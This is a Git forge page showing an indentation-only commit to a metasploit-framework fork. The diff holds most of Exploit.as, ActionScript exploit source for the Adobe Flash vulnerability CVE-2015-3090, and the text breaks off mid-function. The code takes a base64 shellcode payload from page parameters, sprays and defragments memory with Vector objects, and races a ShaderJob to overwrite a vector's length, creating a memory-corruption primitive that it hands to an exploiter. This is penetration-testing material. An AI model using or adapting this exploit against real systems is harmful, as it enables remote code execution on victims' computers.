dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Fix indentation

This commit is contained in:
jvazquez-r7 2015-06-18 12:38:36 -05:00
parent de1542e589
commit 55f077fa9e
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 20 additions and 20 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

40
external/source/exploits/CVE-2015-3090/Exploit.as vendored
View File

@ -1,29 +1,29 @@
package package
{ {
import flash.display.BitmapData import flash.display.BitmapData
import flash.display.Shader import flash.display.Shader
import flash.display.ShaderJob import flash.display.ShaderJob
import flash.display.Sprite import flash.display.Sprite
import flash.utils.getTimer import flash.utils.getTimer
import flash.display.LoaderInfo import flash.display.LoaderInfo
import mx.utils.Base64Decoder import mx.utils.Base64Decoder
import flash.utils.ByteArray import flash.utils.ByteArray
public class Exploit extends Sprite public class Exploit extends Sprite
{ {
[Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ] [Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ]
private static var BilinearScaling:Class private static var BilinearScaling:Class
private var ov:Vector.<Object> private var ov:Vector.<Object>
private var uv:Vector.<uint> private var uv:Vector.<uint>
private var b64:Base64Decoder = new Base64Decoder() private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray private var payload:ByteArray
private var platform:String private var platform:String
private var os:String private var os:String
private var exploiter:Exploiter private var exploiter:Exploiter
public function Exploit() public function Exploit()
{ {
platform = LoaderInfo(this.root.loaderInfo).parameters.pl platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
@ -42,26 +42,26 @@ package
// Put vectors in memory // Put vectors in memory
ov = new Vector.<Object>(1024) ov = new Vector.<Object>(1024)
for (var i:uint = 0; i < ov.length; i++) { for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<uint>(0xa6) ov[i] = new Vector.<uint>(0xa6)
ov[i][0] = 0xdeedbeef ov[i][0] = 0xdeedbeef
ov[i][1] = i ov[i][1] = i
ov[i][2] = 0xdeadbeaf ov[i][2] = 0xdeadbeaf
} }
// Create holes by redimensioning some vectors // Create holes by redimensioning some vectors
for (i = ov.length / 2; i < ov.length; i = i + 6) { for (i = ov.length / 2; i < ov.length; i = i + 6) {
ov[i].length = 0x14c // 0xa6 * 2 ov[i].length = 0x14c // 0xa6 * 2
} }
// Defragment memory so hopefully one of our holes will be used // Defragment memory so hopefully one of our holes will be used
// by the ShaderJob later... // by the ShaderJob later...
var defrag:Vector.<Object> = new Vector.<Object>(20) var defrag:Vector.<Object> = new Vector.<Object>(20)
for(i = 0; i < defrag.length; i++) { for(i = 0; i < defrag.length; i++) {
defrag[i] = new Vector.<uint>(0xa6) defrag[i] = new Vector.<uint>(0xa6)
} }
// Apply the bilinear scaling with a ShaderJob, so the job // Apply the bilinear scaling with a ShaderJob, so the job
// can be execued on a new thread, providing us the opportunity // can be execued on a new thread, providing us the opportunity
// to tweak the width attribute after starting the job, providing // to tweak the width attribute after starting the job, providing
@ -73,7 +73,7 @@ package
shaderJob.start() shaderJob.start()
shaderJob.width = 0xa5 // Overwrite "next" vector length shaderJob.width = 0xa5 // Overwrite "next" vector length
this.WaitTimer(1000) this.WaitTimer(1000)
for (i = 0; i < ov.length; i++) { for (i = 0; i < ov.length; i++) {
if (ov[i].length != 0xa6 && ov[i].length != 0x14c) { if (ov[i].length != 0xa6 && ov[i].length != 0x14c) {
Logger.log("[*] Exploit - Exploit(): Vector corrupted: " + i.toString() + " : " + ov[i].length.toString()) Logger.log("[*] Exploit - Exploit(): Vector corrupted: " + i.toString() + " : " + ov[i].length.toString())
@ -83,14 +83,14 @@ package
ov[i] = null ov[i] = null
} }
} }
if (uv == null) { if (uv == null) {
Logger.log("[!] Exploit - Exploit(): Corrupted Vector not found") Logger.log("[!] Exploit - Exploit(): Corrupted Vector not found")
return return
} }
exploiter = new Exploiter(this, platform, os, payload, uv) exploiter = new Exploiter(this, platform, os, payload, uv)
} }
private function WaitTimer(time:int):void{ private function WaitTimer(time:int):void{
var current:int = getTimer() var current:int = getTimer()